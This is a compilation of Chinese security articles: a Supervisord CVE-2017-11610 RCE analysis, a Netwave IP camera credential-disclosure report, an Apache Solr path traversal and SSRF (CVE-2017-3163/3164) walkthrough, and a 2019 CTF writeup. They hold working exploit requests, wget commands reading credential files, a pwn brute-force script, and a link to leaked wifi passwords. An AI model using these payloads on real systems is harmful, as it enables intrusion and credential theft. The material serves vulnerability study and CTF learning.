> [一篇好文章](http://www.code2sec.com/ji-yi-ci-javafan-xu-lie-hua-lou-dong-de-fa-> xian-he-xiu-fu.html) | 社区文章 |
作者：[phith0n@长亭科技](https://www.leavesongs.com/PENETRATION/supervisord-RCE-CVE-2017-11610.html)
前几天 Supervisord 出现了一个需认证的远程命令执行漏洞（CVE-2017-11610），在对其进行分析以后，[将靶场加入了 Vulhub
豪华套餐](https://github.com/phith0n/vulhub/tree/master/supervisor/CVE-2017-11610)。
#### Supervisord
Supervisord 是一款 Python 开发，用于管理后台应用（服务）的工具，其角色类似于 Linux 自带的 Systemd。
我觉得它相比 Systemd 有几个特点：
1. 配置比较简单
2. 一个简单的第三方应用，与系统没有耦合
3. 提供HTTP API，支持远程操作
所以，我之前把他用来跑一些Web应用。
Supervisord 的架构分为 Server 和 Client，Server 以一个服务的形式，跑在系统后台，而 Client
是一个命令行工具，其实就是根据用户的要求，调用 Server 提供的 API，执行一些工作。
查看 Supervisord 的配置文件可知，默认情况下，Server 端监听在 unix 套接字
`unix:///tmp/supervisor.sock` 上，而 Client 配置的 serverurl 也是这个地址：
[unix_http_server]
file=/tmp/supervisor.sock ; the path to the socket file
;chmod=0700 ; socket file mode (default 0700)
;chown=nobody:nogroup ; socket file uid:gid owner
;username=user ; default is no username (open server)
;password=123 ; default is no password (open server)
;[inet_http_server] ; inet (TCP) server disabled by default
;port=127.0.0.1:9001 ; ip_address:port specifier, *:port for all iface
;username=user ; default is no username (open server)
;password=123 ; default is no password (open server)
[supervisorctl]
serverurl=unix:///tmp/supervisor.sock ; use a unix:// URL for a unix socket
;serverurl=http://127.0.0.1:9001 ; use an http:// url to specify an inet socket
;username=chris ; should be same as in [*_http_server] if set
;password=123 ; should be same as in [*_http_server] if set
;prompt=mysupervisor ; cmd line prompt (default "supervisor")
;history_file=~/.sc_history ; use readline history if available
所以，Client 端去连接配置文件中的 serverurl 的地址，并与其使用 RPC 协议（基于 HTTP 协议）通信。比如我们平时常用的命令（启动名为
web 的服务）：`supervisorctl start web`，看下其数据包：
其实很简单的协议，通过 XML，将 methodName 和 params 通过 HTTP 协议传给服务端进行执行。start 命令执行的是
`supervisor.startProcess` 方法，仅有一个参数就是服务的名称。
另外，如果我设置了 `[inet_http_server]` 段，即可将 Supervisord 监听在 TCP
端口上，这样外部其他程序也能进行调用。我们可以直接将默认配置文件中这一段前面的分号去掉，就默认监听在 9001 端口上了。
#### 漏洞分析
CVE-2017-11610 的本质是一个不安全的对象引用+方法调用，十分类似 Java 中的反序列化漏洞。
在上一章中我说了，Supervisord 的控制实际上就是一个 C/S 以 RPC 协议的通信的过程，而 RPC 协议（远程过程调用协议），顾名思义就是 C
端通过 RPC 协议可以在 S 端执行某个函数，并得到返回结果。那么，如果 C 端执行了 S 端预料之外的函数（如
`os.system`），那么就会导致漏洞的产生。
一个安全的 RPC 协议，会有一个函数名的映射，也就是说 C 端只能调用在白名单之中的部分函数，并且这个“函数”只是真正函数的一个映射。
而我们来看看 3.3.2 版本中 Supervisord 是如何处理 RPC 调用的：
class supervisor_xmlrpc_handler(xmlrpc_handler):
...
def call(self, method, params):
return traverse(self.rpcinterface, method, params)
def traverse(ob, method, params):
path = method.split('.')
for name in path:
if name.startswith('_'):
# security (don't allow things that start with an underscore to
# be called remotely)
raise RPCError(Faults.UNKNOWN_METHOD)
ob = getattr(ob, name, None)
if ob is None:
raise RPCError(Faults.UNKNOWN_METHOD)
try:
return ob(*params)
except TypeError:
raise RPCError(Faults.INCORRECT_PARAMETERS)
`supervisor_xmlrpc_handlerl` 类用于处理 RPC 请求，其 call 方法就是真正执行远程调用的函数。在 call 方法中调用了
traverse 函数，跟进这个函数，我们发现他的逻辑是这样：
1. 将 path 用点号分割成数组
2. 遍历这个数组，每次获得一个 name
3. 如果 name 不以下划线开头，则获取 ob 对象的 name 属性，其作为新的 ob 对象
4. 遍历完成后获得最终的 ob 对象，调用之
所以，实际上这个函数最后达成的效果就是： **初始 ob 对象下的任意 public 方法，包括它的所有递归子对象的任意 public
方法，都可以被调用** 。
而此处，ob 对象即为 `self.rpcinterface`，官方开发者可能认为可调用的方法只限制在这个对象内部，所以没有做特别严格的白名单限制。
而 CVE-2017-11610 的发现者发现，在 `self.rpcinterface.supervisor.supervisord.options`
对象下，有一个方法 `execve`，其相当于直接调用了系统的 `os.execve` 函数，是可以直接执行任意命令的：
class ServerOptions(Options):
...
def execve(self, filename, argv, env):
return os.execve(filename, argv, env)
所以，最后给出利用 POC（RPC 协议如何构造数据包、XML 是什么格式，这个可以自己去看看文档）：
POST /RPC2 HTTP/1.1
Host: localhost
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 439
<?xml version="1.0"?>
<methodCall>
<methodName>supervisor.supervisord.options.execve</methodName>
<params>
<param>
<string>/usr/local/bin/python</string>
</param>
<param>
<array>
<data>
<value><string>python</string></value>
<value><string>-c</string></value>
<value><string>import os;os.system('touch /tmp/success');</string></value>
</data>
</array>
</param>
<param>
<struct>
</struct>
</param>
</params>
</methodCall>
#### POC 缺陷与改进
当然，漏洞发现者找到的这个 `self.rpcinterface.supervisor.supervisord.options.execve`
其实不是那么好用，原因是，Python 的 `os.execve` 函数会使用新进程取代现有的进程。也就是说，这里会导致 Supervisord 本身退出。
基于 Docker 容器的 Supervisord（如 Vulhub 里这个靶场），如果基础进程 Supervisord
被退出，那么将导致整个容器被退出，即使我们执行了任意命令，我们获得的权限也是转瞬即逝的。
另外，即使非Docker环境，我们在测试漏洞的过程中影响到了线上业务，这个后果是无法估量的，所以我们必须想其他方法来稳定的利用漏洞。
我说两个方法。
###### 法一：先Fork一个新进程
同样在 `self.rpcinterface.supervisor.supervisord.options` 对象中，有一个 `fork`
方法，是调用了系统的 `os.fork` 函数。
`os.fork` 函数的作用就是根据当前进程，派生一个新的子进程。所以，即使当前进程被意外结束了，也不会导致 Supervisord
服务终止，因为派生的进程还留存着。
所以，先发送如下数据包即可派生新进程：
POST /RPC2 HTTP/1.1
Host: localhost
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 133
<?xml version="1.0"?>
<methodCall>
<methodName>supervisor.supervisord.options.fork</methodName>
<params>
</params>
</methodCall>
然后再发送之前的 POC 即可。
但这个方法还是会影响 Docker 容器。
###### 法二：找寻其他利用链
这个漏洞和一些反序列化漏洞类似，都是去找到一个不安全的对象。那么，除了原作者给出的
`self.rpcinterface.supervisor.supervisord.options.execve()`，是不是还可以找到其他更好用的利用链呢？
通过一系列调试，我找到了一个利用链：
`supervisor.supervisord.options.warnings.linecache.os.system()`，其实目的很简单，就是想方设法找到非下划线开头的属性中，是否有引用
os 模块。linecache 中引用了 os 模块：
所以，构造如下数据包：
POST /RPC2 HTTP/1.1
Host: localhost
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 275
<?xml version="1.0"?>
<methodCall>
<methodName>supervisor.supervisord.options.warnings.linecache.os.system</methodName>
<params>
<param>
<string>touch /tmp/success</string>
</param>
</params>
</methodCall>
即可直接执行任意命令。如，反弹 shell：
#### 漏洞影响与修复
出现这个漏洞，一般有几个条件：
1. Supervisord 版本在受影响的范围内
2. RPC 端口可被访问
3. RPC 无密码或密码脆弱
第二个条件其实不太容易达到。默认安装的 Supervisord，是只监听 unix 套接字的，所以外部IP根本无法访问。
另外，如果你已经拿到了一台机器的低权限，想访问本地的 unix 套接字，利用该漏洞提权，也是不现实的：原因是 supervisord.sock
文件权限默认是 0700，其他用户无法访问，能够访问的用户权限和它是一样的，也就不存在提权的说法了。
当然，如果运维同学不小心将 RPC 端口开放了，并且使用了默认密码或没有设置密码，那么借助这个漏洞进行攻击，也是很不错的。
如何修复这个漏洞？
1. 升级 Supervisord
2. 端口访问控制
3. 设置复杂 RPC 密码
* * * | 社区文章 |
Author：MyKings(知道创宇404实验室)
> 看到 exploit-db.com 中报了一个《Netwave IP Camera - Password Disclosure》漏洞,
> 这个漏洞包含了wifi密码与Web的账号泄露。
>
> 顺便使用了 zoomeye 搜索了下全球的这款网络摄像头, 发现用这个还挺多的。
## 1 背景
### 1.1 漏洞分析
* `wget -qO- http://[HOST]:[PORT]//proc/kcore | strings`
* `wget -qO- http://[HOST]:[PORT]//etc/RT2870STA.dat`
* `wget -qO- http://[HOST]:[PORT]//dev/rom0`
* `wget -qO- http://[HOST]:[PORT]/get_status.cgi`
#### 1.1.1 get_status.cgi
会泄露当前网络摄像头的一些配置信息:
var sys_ver='21.37.2.47';
var app_ver='0.0.4.19';
var alias='002voam';
var now=1486976881;
var tz=-28800;
var alarm_status=0;
var ddns_status=0;
var ddns_host='';
var oray_type=0;
var upnp_status=0;
var p2p_status=0;
var p2p_local_port=20409;
var msn_status=0;
var wifi_status=0;
var temperature=0.0;
var humidity=0;
var tridro_error='';
#### 1.1.2 /etc/RT2870STA.dat
这里文件就是一个配置文件, 这里可以得到`SSID`与`wifi`密码。
[Default]
SSID=hang yue office
NetworkType=Infra
Channel=0
AuthMode=WPA2PSK
EncrypType=AES
WPAPSK=hangyuewifi
#### 1.1.3 /proc/kcore
内存的`map`, 可以直接使用`wget`下载下来(需要注意这里要把wget进程结束才可以登录)。
### 2 区域分布
先来看一张使用 `ZoomEye` 搜索的结果, 可以看到搜索到 `315,129` 条。
通过筛选分析后 `11186` IP中存在包含wifi密码, 其中覆盖了111个国家和地区。
这里近分析了中国香港地区的摄像头:
* 无wifi密码962个
* WEP加密方式728个
* WPAPSK加密方式9496个
[查询看密码](http://paper.seebug.org/papers/Archive/zoomeye_wifi_passwd.txt)
**密码类型统计**
* 纯数字 1807 个
* 纯字母 1405 个
* 字母+数字 5585 个
* 含特殊字符 1001 个
**密码用的最多TOP 10**
**密码长度统计**
看的出大众还是使用8位、10位的密码较多。
附上一张香港分析后的图, 红色代表没有密码的wifi, 黄色代表WEP加密方式, 蓝色代表WPAPSK方式。
这个世界范围内存在摄像头密码泄漏的分布图。
这张图示是根据SSID搜索到的一家公司内的IP摄像头截图。
## 3 参考链接
* https://www.seebug.org/vuldb/ssvid-92650
* https://www.exploit-db.com/exploits/41236/
* * * | 社区文章 |
# 简介
Solr（是Apache Lucene项目的开源企业搜索平台。其主要功能包括全文检索、命中标示、分面搜索、动态聚类、数据库集成，以及富文本的处理。
Solr是用Java编写、运行在Servlet容器（如Apache Tomcat或Jetty）的一个独立的全文搜索服务器。 Solr采用了Lucene
Java搜索库为核心的全文索引和搜索，并具有类似REST的HTTP/XML和JSON的API。
Solr的`ReplicationHandler`类对输入数据数据处理不当，存在任意文件读取和服务器请求伪造漏洞，涉及漏洞编号为`CVE-2017-3163`和`CVE-2017-3164`。
# 环境搭建
漏洞环境的关键点：
* JDK，java version "1.8.0_112"
* Apache Ant(TM) version 1.9.15
* Apache Solr version 6.0.0
* IDEA DEBUG
首先下载Apache Solr，选择版本为存在漏洞的`6.0.0`，链接地址为：
https://archive.apache.org/dist/lucene/solr/6.0.0/solr-6.0.0-src.tgz
解压后得到源码，接着需要使用`ant`工具构建以供IDEA使用。
操作系统为OSX，使用`brew`安装`ant`，并且不要使用最新版（构建会存在BUG）且需要指定版本为`1.9`。
brew install [email protected] && brew link --force [email protected]
校验`ant`安装结果
~/Desktop ant -version
Apache Ant(TM) version 1.9.15 compiled on May 10 2020
接着开始构建solr
cd solr-6.0.0
ant idea
ant ivy-bootstrap
cd solr
ant server
速度会很慢，最好能科学上网，每次`ant`构建都成功的话提示如下：
回到构建好的源码根目录，修改执行权限后即可运行。
cd solr/bin/
chmod 777 solr
生成测试数据并启动
./solr -f -e dih
得到测试数据路径后，关闭solr
./solr stop -p 8983
设置`jdwp`远程调试后重新开启solr
./solr start -a "-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=6666" -p 8983 -s "/Users/rai4over/Desktop/solr-6.0.0/solr/example/example-DIH/solr"
导入将构建后源码导入IDEA，并设置远程调试如下：
org.apache.solr.servlet.SolrDispatchFilter#doFilter(javax.servlet.ServletRequest,
javax.servlet.ServletResponse, javax.servlet.FilterChain)
# CVE-2017-3163
使用索引复制功能时，Apache Solr节点可以使用接受文件名的HTTP API从主/领导节点中提取索引文件。
但是，5.5.4之前的Solr和6.4.1之前的6.x不会验证文件名，因此可以设计一个恶意的路径遍历的特殊请求，从而使Solr服务器进程实现任意文件读取漏洞。
影响版本：
* 1.4.0-6.4.0
## 复现
恶意请求
http://127.0.0.1:8983/solr/db/replication?command=filecontent&file=../../../../../../../../../../../../../etc/passwd&wt=filestream&generation=1
文件读取成功
## 分析
org.apache.solr.servlet.SolrDispatchFilter#doFilter(javax.servlet.ServletRequest,
javax.servlet.ServletResponse, javax.servlet.FilterChain)
重写了过滤器，将请求对象`request`、响应对象`response`传入参数不同的`doFilter`。
org/apache/solr/servlet/SolrDispatchFilter.java:226
org.apache.solr.servlet.SolrDispatchFilter#getHttpSolrCall
开始创建`HttpSolrCall`对象
org.apache.solr.servlet.HttpSolrCall#HttpSolrCall
构造函数中进行了赋值，最终`call`对象中的成员的存储情况如下：
org/apache/solr/servlet/SolrDispatchFilter.java:229
接着调用`HttpSolrCall`类对象的`call`方法
org.apache.solr.servlet.HttpSolrCall#call
org/apache/solr/servlet/HttpSolrCall.java:312
`init`中进行初始化的一些解析操作，比如`handler`、`path`、`action`等成员的解析赋值，比如这里的`action`为`PROCESS`，初始化后的`HttpSolrCall`类对象的成员为：
org/apache/solr/servlet/HttpSolrCall.java:419
校验当前请求，是否需要鉴权访问，访问对象是否为静态资源。
org/apache/solr/servlet/HttpSolrCall.java:446
这里根据`action`进行开关选择，进入`PROCESS`分支，创建`SolrQueryResponse`对象，然后传入`execute`方法。
org.apache.solr.servlet.HttpSolrCall#execute
`solrReq.getCore()`返回成员中的`SolrCore`对象，并传入`ReplicationHandler`类的`hanler`成员调用`execute`方法。
org.apache.solr.core.SolrCore#execute
跟进`handler.handleRequest`函数
org.apache.solr.handler.RequestHandlerBase#handleRequest
org.apache.solr.handler.ReplicationHandler#handleRequestBody
从当前请求中解析`command`的值为`filecontent`
org/apache/solr/handler/ReplicationHandler.java:249
接着进入分支进行判断，和`CMD_GET_FILE`相等，进入`getFileStream`函数。
org.apache.solr.handler.ReplicationHandler#getFileStream
创建`DirectoryFileStream`对象，并作为元素进行添加。
org.apache.solr.handler.ReplicationHandler.DirectoryFileStream#DirectoryFileStream
基本上都是从`SolrParams`对象中取值并赋值到`DirectoryFileStream`对象成员。
org.apache.solr.response.SolrQueryResponse#add
org.apache.solr.common.util.NamedList#add
可以发现添加到`List`中，然后层层返回。
org/apache/solr/servlet/HttpSolrCall.java:469
跟进`writeResponse`函数。
org.apache.solr.servlet.HttpSolrCall#writeResponse
请求方式为`GET`，跟进`QueryResponseWriterUtil.writeQueryResponse`函数。
org.apache.solr.response.QueryResponseWriterUtil#writeQueryResponse
将响应的结果写入给定的输出流，跟进`binWriter.write`。
org.apache.solr.core.SolrCore#getFileStreamWriter
首先从`response.values.nvPairs`中取出前面的`DirectoryFileStream`类对象，接着调用该对象的`wrtie`方法。
org.apache.solr.handler.ReplicationHandler.DirectoryFileStream#write
将恶意文件读取的参数传入`dir.openInput`，查看`IndexInput`类对象`in`
查看对象内部成员，可以发现经过拼接之后的路径为`/Users/rai4over/Desktop/solr-6.0.0/solr/example/example-DIH/solr/db/data/index/../../../../../../../../../../../../../etc/passwd`。
org/apache/solr/handler/ReplicationHandler.java:1441
文件读取成功，当前的调用栈为：
write:1453, ReplicationHandler$DirectoryFileStream (org.apache.solr.handler)
write:2149, SolrCore$9 (org.apache.solr.core)
writeQueryResponse:49, QueryResponseWriterUtil (org.apache.solr.response)
writeResponse:725, HttpSolrCall (org.apache.solr.servlet)
call:469, HttpSolrCall (org.apache.solr.servlet)
doFilter:229, SolrDispatchFilter (org.apache.solr.servlet)
doFilter:184, SolrDispatchFilter (org.apache.solr.servlet)
doFilter:1668, ServletHandler$CachedChain (org.eclipse.jetty.servlet)
# CVE-2017-3164
Apache Solr的服务器端请求伪造， 由于没有相应的白名单机制，因此有权访问服务器的远程攻击者可以使Solr对任何可到达的URL执行HTTP
GET请求。
## 复现
恶意请求
http://127.0.0.1:8983/solr/db/replication?command=fetchindex&masterUrl=http://f422cd57.y7z.xyz/xxxx&wt=json&httpBasicAuthUser=aaa&httpBasicAuthPassword=bbb
SSRF成功
## 分析
org/apache/solr/handler/ReplicationHandler.java:264
和前面的流程基本一样，但是进入`handleRequestBody`方法后进入的分支不同，分支为`fetchindex`。这里开启了另一个线程，复制了一份请求参数`paramsCopy`，并向`doFetch`传递。
org.apache.solr.handler.ReplicationHandler#doFetch
创建`IndexFetcher`对象，然后跟进`fetchLatestIndex`方法。
org.apache.solr.handler.IndexFetcher#fetchLatestIndex(boolean)
org.apache.solr.handler.IndexFetcher#fetchLatestIndex(boolean, boolean)
继续跟进`getLatestVersion`方法。
org.apache.solr.handler.IndexFetcher#getLatestVersion
完成SSRF，此时该线程的调用栈为：
getLatestVersion:221, IndexFetcher (org.apache.solr.handler)
fetchLatestIndex:305, IndexFetcher (org.apache.solr.handler)
fetchLatestIndex:270, IndexFetcher (org.apache.solr.handler)
doFetch:387, ReplicationHandler (org.apache.solr.handler)
run:275, ReplicationHandler$1 (org.apache.solr.handler)
# 参考
<https://cwiki.apache.org/confluence/display/solr/SolrSecurity>
<https://my.oschina.net/haitaohu/blog/3077588>
<https://xz.aliyun.com/t/1523> | 社区文章 |
# 2019 Redhat CTF Writeup by X1ct34m
## 前言
有一说一，题目质量比隔壁某py大赛高多了。
## MISC
### 签到
答问卷得flag
### Advertising for Marriage
拿到一个raw文件，应该是内存取证，掏出volatility,不知道为啥kali自带的识别不出镜像信息，换ubuntu才ok，迷。
#查看镜像信息：
$ volatility -f 1.raw imageinfo
Volatility Foundation Volatility Framework 2.5
INFO : volatility.debug : Determining profile based on KDBG search...
Suggested Profile(s) : WinXPSP2x86, WinXPSP3x86 (Instantiated with WinXPSP2x86)
AS Layer1 : IA32PagedMemoryPae (Kernel AS)
AS Layer2 : FileAddressSpace (/home/yulige/Desktop/1.raw)
PAE type : PAE
DTB : 0xaf9000L
KDBG : 0x80545ce0L
Number of Processors : 1
Image Type (Service Pack) : 2
KPCR for CPU 0 : 0xffdff000L
KUSER_SHARED_DATA : 0xffdf0000L
Image date and time : 2019-10-31 07:15:35 UTC+0000
Image local date and time : 2019-10-31 15:15:35 +0800
#查看进程
$ volatility -f 1.raw --profile=WinXPSP2x86 psscan
#发现有mspaint.exe和notepad.exe，pid分别是332和1056，将其dump出来
$ volatility -f 1.raw --profile=WinXPSP2x86 memdump -p 332 --dump-dir=./
$ volatility -f 1.raw --profile=WinXPSP2x86 memdump -p 1056 --dump-dir=./
然后在notepad进程dump出来的东西里面去查找字符串，找到：
hint:????needmoneyandgirlfirend
前面四个问号应该是掩码，先不管这个。
然后根据mspaintdump出来的bmp文件改后缀为data，参考：<https://segmentfault.com/a/1190000018813033>
然后将分辨率改为1280*1024，位移改为770000左右可以看到一个图。
因为是反过来看的所以是b1cx，然后加上前面的hint，结合起来就是b1cxneedmoneyandgirlfirend。
$ volatility -f 1.raw --profile=WinXPSP2x86 filescan | grep -E 'jpg|png|jpeg|bmp|gif'
Volatility Foundation Volatility Framework 2.5
0x00000000020d5190 1 0 R--rwd \Device\HarddiskVolume1\Documents and Settings\All Users\Application Data\Microsoft\User Account Pictures\Administrator.bmp
0x000000000247c1a8 1 0 R--rwd \Device\HarddiskVolume1\WINDOWS\Web\Wallpaper\Bliss.bmp
0x000000000249ae78 1 0 R--r-- \Device\HarddiskVolume1\Documents and Settings\Administrator\桌面\vegetable.png
0x0000000002511c70 1 0 R--rwd \Device\HarddiskVolume1\WINDOWS\ime\IMJP8_1\DICTS\imjpgn.grm
# 可以看到桌面上有一个vegetable.png,将它dump出来。
$ volatility -f 1.raw --profile=WinXPSP2x86 dumpfiles -Q 0x000000001efb29f8 -n --dump-dir=./
拿到图片之后发现crc32校验过不去，用网上找的脚本跑一下，改高度。
参考链接：[https://www.cnblogs.com/WangAoBo/p/7108278.html](http://qq://txfile/#)
# -*- coding: utf-8 -*- import binascii
import struct
crc32key = 0xB80A1736
for i in range(0, 65535):
height = struct.pack('>i', i)
#CRC: CBD6DF8A
data = '\x49\x48\x44\x52\x00\x00\x01\x1F' + height + '\x08\x06\x00\x00\x00'
crc32result = binascii.crc32(data) & 0xffffffff
if crc32result == crc32key:
print ''.join(map(lambda c: "%02X" % ord(c), height))
改完高度是：
然后用ps锐化处理，但是后几位实在是看不清。没办法。太佛了。
用zsteg跑一下，发现有东西，但是dump不出来，想到是lsb带密码的加密，密码应该就是hint。
然后用脚本解密出来之后是：VmlyZ2luaWEgY2lwaGVydGV4dDpnbnh0bXdnN3IxNDE3cHNlZGJzNjI1ODdoMA==
解密base64：Virginia ciphertext:gnxtmwg7r1417psedbs62587h0
拿去在线网站爆破密钥恢复明文试试，毫无卵用。
然后突然想到上面的那个打码的图片，好像也有1417的样子，维吉尼亚是不会变数字的，那么如果数字的位置不变的话。那么把{}改成is，位数好像刚好对的上，1417的位置也刚好对的上。
然后如果猜测是对的话，那么前六位的密钥是bcxnee。这个bcxnee不就是刚好刚刚hint把数字去掉么，脑洞大开，想到密钥就是hint去掉前面那个1
不知道是不是，带flag格式交一下试试，对了。
flag{d7f1417bfafbf62587e0}
### 恶臭的数据包
无线wifi流量包，套路走一波。
#查看essid
root@kali:~/Desktop# aircrack-ng cacosmia.cap
Opening cacosmia.cap
Read 4276 packets.
# BSSID ESSID Encryption
1 1A:D7:17:98:D0:51 mamawoxiangwantiequan WPA (1 handshake)
Choosing first network as target.
Aircrack-ng 1.3
Passphrase not in dictionary
Please specify a 151/235 keys tested w).
Time left: 0 seconds 64.26%
Quitting aircrack-ng...
#爆破密码
root@kali:~/Desktop# aircrack-ng cacosmia.cap -w /usr/share/wordlists/fern-wifi/common.txt
Opening cacosmia.cap
Read 4276 packets.
[00:00:00] 16/688 keys tested (1029.20 k/s)
Time left: 0 seconds 2.33%
KEY FOUND! [ 12345678 ]
Master Key : B4 2C 77 C0 A8 F4 E6 E9 9F 85 1B ED 7B 3F 5A 91
3C AA D4 42 B9 6D 5C D2 A1 90 E3 F9 75 B3 6D 9F
Transient Key : 8B D7 4A 1F 2A 0D B7 40 C1 3B BC C9 13 60 46 E5
49 4E 9B 9A AF BD E3 89 33 5A 73 C8 95 AC 53 94
AF 92 D1 D9 ED E4 B2 AF 40 C1 03 D8 98 2D 8A 90
00 58 39 CF C2 9E B9 80 A2 D5 86 57 9A 00 00 00
EAPOL HMAC : D8 97 A1 FD CF F2 87 89 6A 19 EF 14 44 33 E0 3C
#用essid和密码解密流量包
root@kali:~/Desktop# airdecap-ng cacosmia.cap -e mamawoxiangwantiequan -p 12345678
Total number of packets read 4276
Total number of WEP data packets 0
Total number of WPA data packets 685
Number of plaintext data packets 0
Number of decrypted WEP packets 0
Number of corrupted WEP packets 0
Number of decrypted WPA packets 538
然后wireshark打开解密的流量包，发现有一个png图片。
winhex打开发现末尾有个压缩包，提取出来之后发现要密码，不知道密码是啥，爆破无果，后来回到压缩包发现jwt的session。
解密看看：
说密码是一个网站，总共就没几个包，在一个udp包里面找到：
这个就是密码，打开拿到flag。
flag{f14376d0-793e-4e20-9eab-af23f3fdc158}
## RE
### xx
根据题目可以猜到是xxtea，这边再加一个换位xor操作
整回来后解一次xxtea就行
key是输入的前四
但是不知道前四是啥
所以猜是flag
然后出了
# -*- coding: UTF-8 -*- import xxtea
text = "1111111111111111111"
key = "flag"
#encrypt_data = xxtea.encrypt(text, key)
encrypt_data = 'bca5ce40f4b2b2e7a9129d12ae10c85b3dd7061ddc70f8dc'.decode('hex')
decrypt_data = xxtea.decrypt(encrypt_data, key)
print decrypt_data
### easyRE
step1:输入
> Info:The first four chars are `flag`
最后发现主要看sub_400D35
和上一题一个套路
猜前4密文xorkey是flag
然后就出了
比较简单不贴脚本
### calc
三次输入
中间有sleep直接patch了
先对输入进行了平方 FF0是pow函数
然后是乘4 A90是mul函数
然后对第二个输入
乘3
平方
对第三个输入
他先用7 _input3
然后result\_*input3
我佛了
下面是对输入的判断
input2<input1<input3 //应该是这个，没有仔细看
然后对三个输入之间进行一些蛇皮操作后就来最终check了
对了就有flag
//check大小完后的操作
550函数为add
7E0函数为del
//我输入是 222 123 321
a = mul(3,input1)
b = mul(a,input1) //147852
c = mul(b,input2) //18185796
pow(input2,2) //15129
a = mul(3,input1) //666
b1 = mul(a,input2) //input2已经平方 10075914
a = add(a,b1) //10076580
a = add(input1,input2)
b2 = pow(a,3) //41063625
b3 = del(b2,b1) //30987711
temp0 = del(b3,c) //12801915
a = mul(48,input3) //15408
b = mul(12,input3) //3852
c = mul(b,input3) //1236492
d = add(4,input3) //325
x = pow(d,3) //34328125
temp1 = del(x,c) //33091633
temp2 = del(temp1,a) //33076225
temp3 = del(temp2,22) //33076203
if（temp3==temp0）
cat flag
最终化简是`x**3+y**3==z**3+42`
想起了中科大的某道数学题的第一小题
`x, y , z = (80435758145817515, 12602123297335631, 80538738812075974)`
### childRE
c++符号修饰
UnDecorateSymbolName反修饰后会变成`private: char * __thiscall
R0Pxx::My_Aut0_PWN(unsigned char *)`
网上百度修饰资料
`?My_Aut0_PWN@R0Pxx@@AAEPADPAE@Z`
发现应该是上面
但是程序对输入进行一次换位
所以整回来`Z0@tRAEyuP@xAAA?M_A0_WNPx@@EPDP`就是输入
## PWN
### three
三字节shellcode执行权限，v3其实就是flag。。。写对比控制v5，最后是用mov eax，edx来的爆破。
exp:
from pwn import *
name_addr=0x080F6CC0
context(os='linux',arch='i386')
jmp='''
mov eax,edx
ret
'''
jm=asm(jmp)
flag=''
to_fxxk=0
print hex(len(jm))
while True:
for i in range(0x10,0x200):
r=remote('47.104.190.38',12001)
r.recvuntil(' index:')
r.sendline(str(to_fxxk))
r.recvuntil('y much!')
r.send(jm)
r.recvuntil('f size:')
r.sendline(str(i))
r.recvuntil('me:')
r.send('a')
r.recvline()
leak=int(r.recv(1),10)
print leak
print i
if leak == 1:
flag+=chr(i-1)
to_fxxk+=1
if i-1==ord('}'):
pause()
print flag
break
r.close()
## Crypto
### Related
msg = pad(flag)，48字节长，384位。
s0, s1, s2 = msg的低128位，中128位，高128位。
给了
其中
要求的是s0, s1, s2。
* * *
由题名`Related`想到了ctfwiki上的[Related Message Attack](https://ctf-wiki.github.io/ctf-wiki/crypto/asymmetric/rsa/rsa_coppersmith_attack-zh/#related-message-attack)。
不过这一题显然要更复杂一点。
好在wiki这个栏目的下面给出了拓展阅读：
paper: <https://www.cs.unc.edu/~reiter/papers/1996/Eurocrypt.pdf>
找到了一个推广的结论
一边翻SageMath文档，一边写的exp：
n = 16084923760264169099484353317952979348361855860935256157402027983349457021767614332173154044206967015252105109115289920685657394517879177103414348487477378025259589760996270909325371731433876289897874303733424115117776042592359041482059737708721396118254756778152435821692154824236881182156000806958403005506732891823555324800528934757672719379501318525189471726279397236710401497352477683714139039769105043411654493442696289499967521222951945823233371845110807469944602345293068346574630273539870116158817556523565199093874587097230314166365220290730937380983228599414137341498205967870181640370981402627360812251649
s = 280513550110197745829890567436265496990
c1 = 10607235400098586699994392584841806592000660816191315008947917773605476365884572056544621466807636237415893192966935651590312237598366247520986667580174438232591692369894702423377081613821241343307094343575042030793564118302488401888197517625333923710172738913771484628557310164974384462856047065486913046647133386246976457961265115349103039946802386897315176633274295410371986422039106745216230401123542863714301114753239888820442112538285194875243192862692290859625788686421276234445677411280606266052059579743874849594812733193363406594409214632722438592376518310171297234081555028727538951934761726878443311071990
c2 = 2665348075952836665455323350891842781938471372943896177948046901127648217780657532963063228780230203325378931053293617434754585479452556620021360669764370971665619743473463613391689402725053682169256850873752706252379747752552015341379702582040497607180172854652311649467878714425698676142212588380080361100526614423533767196749274741380258842904968147508033091819979042560336703564128279527380969385330845759998657540777339113519036552454829323666242269607225156846084705957131127720351868483375138773025602253783595007177712673092409157674720974653789039702431795168654387038080256838321255342848782705785524911705
c3 = 4881225713895414151830685259288740981424662400248897086365166643853409947818654509692299250960938511400178276416929668757746679501254041354795468626916196040017280791985239849062273782179873724736552198083211250561192059448730545500442981534768431023858984817288359193663144417753847196868565476919041282010484259630583394963580424358743754334956833598351424515229883148081492471874232555456362089023976929766530371320876651940855297249474438564801349160584279330339012464716197806221216765180154233949297999618011342678854874769762792918534509941727751433687189532019000334342211838299512315478903418642056097679717
R.<x, y, z> = Zmod(n)[]
I = ideal(x + y + z - s, x^17 - c1, y^17 - c2, z^17 - c3)
res = I.groebner_basis()
m1 = n - long(res[0] - x)
m2 = n - long(res[1] - y)
m3 = n - long(res[2] - z)
m = (long(m3<<256) + long(m2<<128) + long(m1))
print hex(m)[2:].strip('L').decode('hex')
flag{bf684fc7-5398-4bf3-ad5f-cfe3dc53a202}
> paper看的快，拿了一血
>
> 赛后对比[官网wp](https://mp.weixin.qq.com/s/MKaMMihP8gPSYKswAxjNqQ)，发现其实只要`s0, s1,
> s2`和`s = s0+s1+s2`这四个关系式即可解出，并不需要s3。
### Broadcast
附件给错了，打开`task.py`直接获得flag
flag{fa0f8335-ae80-448e-a329-6fb69048aae4}
> 手速快，又拿了一血
### 精明的Alice
题目名字说是Broadcast，实际上并不是简单的广播攻击。
简单的广播攻击，前提是对同一个m加密：
